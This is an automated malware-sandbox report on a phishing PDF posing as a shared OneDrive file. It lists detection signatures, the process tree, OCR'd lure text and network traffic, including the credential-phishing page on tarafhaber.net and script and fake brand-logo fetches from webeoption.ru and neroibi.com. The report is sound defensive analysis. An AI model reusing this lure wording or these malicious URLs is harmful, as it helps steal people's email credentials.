Edit tour

Windows Analysis Report
MAT 4230 TRF DE VILLIERS YOUR REF 24892 OUR REF 23921.pdf

Overview

General Information

Sample name:	MAT 4230 TRF DE VILLIERS YOUR REF 24892 OUR REF 23921.pdf
Analysis ID:	1428815
MD5:	84bfb11e16563fd2dd905526bad39c0e
SHA1:	06c95b77f61e1c872e04e3ef32045b249fdb85f3
SHA256:	570c918a9e82c4a780a24434937fbc342b5f88522861a76aeece33197ec59865
Infos:

Detection

HTMLPhisher

Score:	72
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for URL or domain

Phishing site detected (based on favicon image match)

Yara detected HtmlPhish10

Yara detected HtmlPhish7

HTML body contains low number of good links

HTML body contains password input but no form action

HTML page contains hidden URLs or javascript code

HTML title does not match URL

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

Phishing site detected (based on OCR NLP Model)

Stores files to the Windows start menu directory

Uses insecure TLS / SSL version for HTTPS connection

Classification

Process Tree

System is w10x64

Acrobat.exe (PID: 4320 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\Desktop\MAT 4230 TRF DE VILLIERS YOUR REF 24892 OUR REF 23921.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 4140 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 7244 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2120 --field-trial-handle=1592,i,16362492344123580120,5216236964409880840,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

chrome.exe (PID: 8188 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "https://3245.tarafhaber.net/351-h46.htm" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 7680 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2068 --field-trial-handle=2000,i,8032877187666766486,1682355500134158436,262144 /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

cleanup

Yara Signatures

HTML

Source	Rule	Description	Author	Strings
0.0.pages.csv	JoeSecurity_HtmlPhish_7	Yara detected HtmlPhish_7	Joe Security
0.0.pages.csv	JoeSecurity_HtmlPhish_10	Yara detected HtmlPhish_10	Joe Security

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: https://3245.tarafhaber.net/351-h46.htm

SlashNext: Label: Credential Stealing type: Phishing & Social Engineering

Phishing

Phishing site detected (based on favicon image match)

Source: https://tarafhaber.net

Matcher: Template: microsoft matched with high similarity

Yara detected HtmlPhish10

Source: Yara match

File source: 0.0.pages.csv, type: HTML

Yara detected HtmlPhish7

Source: Yara match

File source: 0.0.pages.csv, type: HTML

Source: https://3245.tarafhaber.net/351-h46.htm

HTTP Parser: Number of links: 0

Source: https://3245.tarafhaber.net/351-h46.htm

HTTP Parser: <input type="password" .../> found but no <form action="...

Source: https://3245.tarafhaber.net/351-h46.htm

HTTP Parser: Base64 decoded:   <script type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/popper.js/1.12.9/umd/popper.min.js"></script> <script type="text/javas...

Source: https://3245.tarafhaber.net/351-h46.htm

HTTP Parser: Title: Share Point Online does not match URL

Source: Chrome DOM: 0.0	ML Model on OCR Text: Matched 85.8% probability on "Adobe Document Cloud To read the document, please choose your email provider below login to view shared file. .uvtot Outlook Office365 Hotrnail Other Mail Built upon Adobe Document Cloud, Adobe Document Cloud features can be unlocked by providing an additional license key. CopyRightO 2023 Adobe system incorporated, All right reserved. "
Source: Adobe Acrobat PDF	ML Model on OCR Text: Matched 99.9% probability on "OneDrive Hello, You have an incoming secured document From: Debbie Lourens (SCHAEFER INCORPORATED ATTORNEYS.) The document is enclosed with onedrive for business. VIEW DOCUMENT "

Source: https://3245.tarafhaber.net/351-h46.htm

HTTP Parser: <input type="password" .../> found

Source: https://3245.tarafhaber.net/351-h46.htm

HTTP Parser: No favicon

Source: https://3245.tarafhaber.net/351-h46.htm

HTTP Parser: No <meta name="author".. found

Source: https://3245.tarafhaber.net/351-h46.htm

HTTP Parser: No <meta name="copyright".. found

Source: unknown

HTTPS traffic detected: 23.1.237.91:443 -> 192.168.2.5:49718 version: TLS 1.0

Source: unknown	HTTPS traffic detected: 184.31.62.93:443 -> 192.168.2.5:49711 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.31.62.93:443 -> 192.168.2.5:49714 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.127.169.103:443 -> 192.168.2.5:49717 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.127.169.103:443 -> 192.168.2.5:49768 version: TLS 1.2

Source: Joe Sandbox View	IP Address: 104.18.10.207 104.18.10.207
Source: Joe Sandbox View	IP Address: 104.18.10.207 104.18.10.207
Source: Joe Sandbox View	IP Address: 184.25.164.138 184.25.164.138
Source: Joe Sandbox View	IP Address: 103.153.183.146 103.153.183.146

Source: Joe Sandbox View	JA3 fingerprint: 1138de370e523e824bbca92d049a3777
Source: Joe Sandbox View	JA3 fingerprint: 28a2c9bd18a11de089ef85a160da29e4

Source: unknown

HTTPS traffic detected: 23.1.237.91:443 -> 192.168.2.5:49718 version: TLS 1.0

Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 184.31.62.93
Source: unknown	TCP traffic detected without corresponding DNS query: 184.31.62.93
Source: unknown	TCP traffic detected without corresponding DNS query: 184.31.62.93
Source: unknown	TCP traffic detected without corresponding DNS query: 184.31.62.93
Source: unknown	TCP traffic detected without corresponding DNS query: 184.31.62.93
Source: unknown	TCP traffic detected without corresponding DNS query: 184.31.62.93
Source: unknown	TCP traffic detected without corresponding DNS query: 184.31.62.93
Source: unknown	TCP traffic detected without corresponding DNS query: 184.31.62.93
Source: unknown	TCP traffic detected without corresponding DNS query: 184.31.62.93
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 184.31.62.93
Source: unknown	TCP traffic detected without corresponding DNS query: 184.31.62.93
Source: unknown	TCP traffic detected without corresponding DNS query: 184.31.62.93
Source: unknown	TCP traffic detected without corresponding DNS query: 184.31.62.93
Source: unknown	TCP traffic detected without corresponding DNS query: 184.31.62.93
Source: unknown	TCP traffic detected without corresponding DNS query: 184.31.62.93
Source: unknown	TCP traffic detected without corresponding DNS query: 184.31.62.93
Source: unknown	TCP traffic detected without corresponding DNS query: 184.31.62.93
Source: unknown	TCP traffic detected without corresponding DNS query: 184.31.62.93
Source: unknown	TCP traffic detected without corresponding DNS query: 184.25.164.138
Source: unknown	TCP traffic detected without corresponding DNS query: 184.25.164.138
Source: unknown	TCP traffic detected without corresponding DNS query: 184.25.164.138
Source: unknown	TCP traffic detected without corresponding DNS query: 184.25.164.138
Source: unknown	TCP traffic detected without corresponding DNS query: 184.25.164.138
Source: unknown	TCP traffic detected without corresponding DNS query: 184.25.164.138
Source: unknown	TCP traffic detected without corresponding DNS query: 184.25.164.138
Source: unknown	TCP traffic detected without corresponding DNS query: 184.25.164.138
Source: unknown	TCP traffic detected without corresponding DNS query: 184.25.164.138
Source: unknown	TCP traffic detected without corresponding DNS query: 184.25.164.138
Source: unknown	TCP traffic detected without corresponding DNS query: 184.25.164.138
Source: unknown	TCP traffic detected without corresponding DNS query: 184.25.164.138
Source: unknown	TCP traffic detected without corresponding DNS query: 184.25.164.138
Source: unknown	TCP traffic detected without corresponding DNS query: 40.127.169.103
Source: unknown	TCP traffic detected without corresponding DNS query: 40.127.169.103
Source: unknown	TCP traffic detected without corresponding DNS query: 40.127.169.103
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 40.127.169.103
Source: unknown	TCP traffic detected without corresponding DNS query: 40.127.169.103
Source: unknown	TCP traffic detected without corresponding DNS query: 40.127.169.103

Source: global traffic	HTTP traffic detected: GET /fs/windows/config.json HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMTRange: bytes=0-2147483646User-Agent: Microsoft BITS/7.8Host: fs.microsoft.com
Source: global traffic	HTTP traffic detected: GET /onboarding/smskillreader.txt HTTP/1.1Host: armmf.adobe.comConnection: keep-aliveAccept-Language: en-US,en;q=0.9User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) ReaderServices/23.6.20320 Chrome/105.0.0.0 Safari/537.36Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brIf-None-Match: "78-5faa31cce96da"If-Modified-Since: Mon, 01 May 2023 15:02:33 GMT
Source: global traffic	HTTP traffic detected: GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=UOse9dHCRbAZXnp&MD=2n+wELZu HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /351-h46.htm HTTP/1.1Host: 3245.tarafhaber.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /BLAKMAN-03-05.js HTTP/1.1Host: webeoption.ruConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://3245.tarafhaber.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /css/hover.css HTTP/1.1Host: 3245.tarafhaber.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://3245.tarafhaber.net/351-h46.htmAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /jquery-3.1.1.min.js HTTP/1.1Host: code.jquery.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://3245.tarafhaber.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /bootstrap/4.0.0/css/bootstrap.min.css HTTP/1.1Host: maxcdn.bootstrapcdn.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://3245.tarafhaber.netsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: styleReferer: https://3245.tarafhaber.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /jquery-3.3.1.js HTTP/1.1Host: code.jquery.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://3245.tarafhaber.netsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://3245.tarafhaber.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /bootstrap/4.0.0/js/bootstrap.min.js HTTP/1.1Host: maxcdn.bootstrapcdn.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://3245.tarafhaber.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /jquery-3.2.1.slim.min.js HTTP/1.1Host: code.jquery.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://3245.tarafhaber.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /bootstrap/4.1.3/js/bootstrap.min.js HTTP/1.1Host: stackpath.bootstrapcdn.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://3245.tarafhaber.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ajax/libs/popper.js/1.12.9/umd/popper.min.js HTTP/1.1Host: cdnjs.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://3245.tarafhaber.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /s2/favicons?sz=64&domain_url=hotmail.com HTTP/1.1Host: www.google.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIlKHLAQiFoM0BCOnFzQEIucrNAQiK080BGI/OzQEYwtjNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://3245.tarafhaber.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /.blak/adobe.jpg HTTP/1.1Host: neroibi.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://3245.tarafhaber.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /.blak/outlook.png HTTP/1.1Host: neroibi.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://3245.tarafhaber.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /.blak/office365.png HTTP/1.1Host: neroibi.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://3245.tarafhaber.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /.blak/gmail.png HTTP/1.1Host: neroibi.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://3245.tarafhaber.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /.blak/othermail.ico HTTP/1.1Host: neroibi.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://3245.tarafhaber.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /.blak/8.jpg HTTP/1.1Host: neroibi.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://3245.tarafhaber.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /.blak/office365.png HTTP/1.1Host: neroibi.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /.blak/adobe.jpg HTTP/1.1Host: neroibi.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /.blak/outlook.png HTTP/1.1Host: neroibi.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /.blak/gmail.png HTTP/1.1Host: neroibi.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /.blak/othermail.ico HTTP/1.1Host: neroibi.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: 3245.tarafhaber.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://3245.tarafhaber.net/351-h46.htmAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /.blak/8.jpg HTTP/1.1Host: neroibi.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=UOse9dHCRbAZXnp&MD=2n+wELZu HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com

Source: unknown

DNS traffic detected: queries for: 3245.tarafhaber.net

Source: unknown

HTTP traffic detected: POST /report/v4?s=F2QR5YXx85bsL73%2BZA4k8m9FY7exlwSiisyQaX4CcJ5mab5B41iAueE%2FtDsX4q9yS7Dhsbn%2BA9sjMgd5JgUYq9g9AbeD2MZIM4bFvcNGD06gwWAw7Ym9a8LswRZTD13QPd0C0Z%2F4 HTTP/1.1Host: a.nel.cloudflare.comConnection: keep-aliveContent-Length: 442Content-Type: application/reports+jsonUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 19 Apr 2024 14:56:18 GMTContent-Type: text/html; charset=iso-8859-1Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=14400CF-Cache-Status: EXPIREDReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=F2QR5YXx85bsL73%2BZA4k8m9FY7exlwSiisyQaX4CcJ5mab5B41iAueE%2FtDsX4q9yS7Dhsbn%2BA9sjMgd5JgUYq9g9AbeD2MZIM4bFvcNGD06gwWAw7Ym9a8LswRZTD13QPd0C0Z%2F4"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 876dbd905ad8b094-ATLalt-svc: h3=":443"; ma=86400
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 19 Apr 2024 14:56:20 GMTContent-Type: text/html; charset=iso-8859-1Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=14400CF-Cache-Status: EXPIREDReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2BKDF%2BuRcUWfyocdeXni9QQOsnK8ZJMyenZQrxLU1tTbaDhpcgMLdn%2BxbwJwqqFp6T5dTLXX%2BQV%2Fu8C%2FNYcA%2B5f%2FXkuatJPFC1vBmWQ9DQflf1ugkcUTxKhxe23GuwPQUM8kAdFBa"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 876dbda17ae97bd0-ATLalt-svc: h3=":443"; ma=86400

Source: chromecache_238.9.dr	String found in binary or memory: http://jquery.org/license
Source: chromecache_245.9.dr	String found in binary or memory: http://opensource.org/licenses/MIT).
Source: MAT 4230 TRF DE VILLIERS YOUR REF 24892 OUR REF 23921.pdf	String found in binary or memory: https://3245.tarafhaber.net/351-h46.htm)
Source: chromecache_238.9.dr	String found in binary or memory: https://bugs.chromium.org/p/chromium/issues/detail?id=378607
Source: chromecache_238.9.dr	String found in binary or memory: https://bugs.chromium.org/p/chromium/issues/detail?id=449857
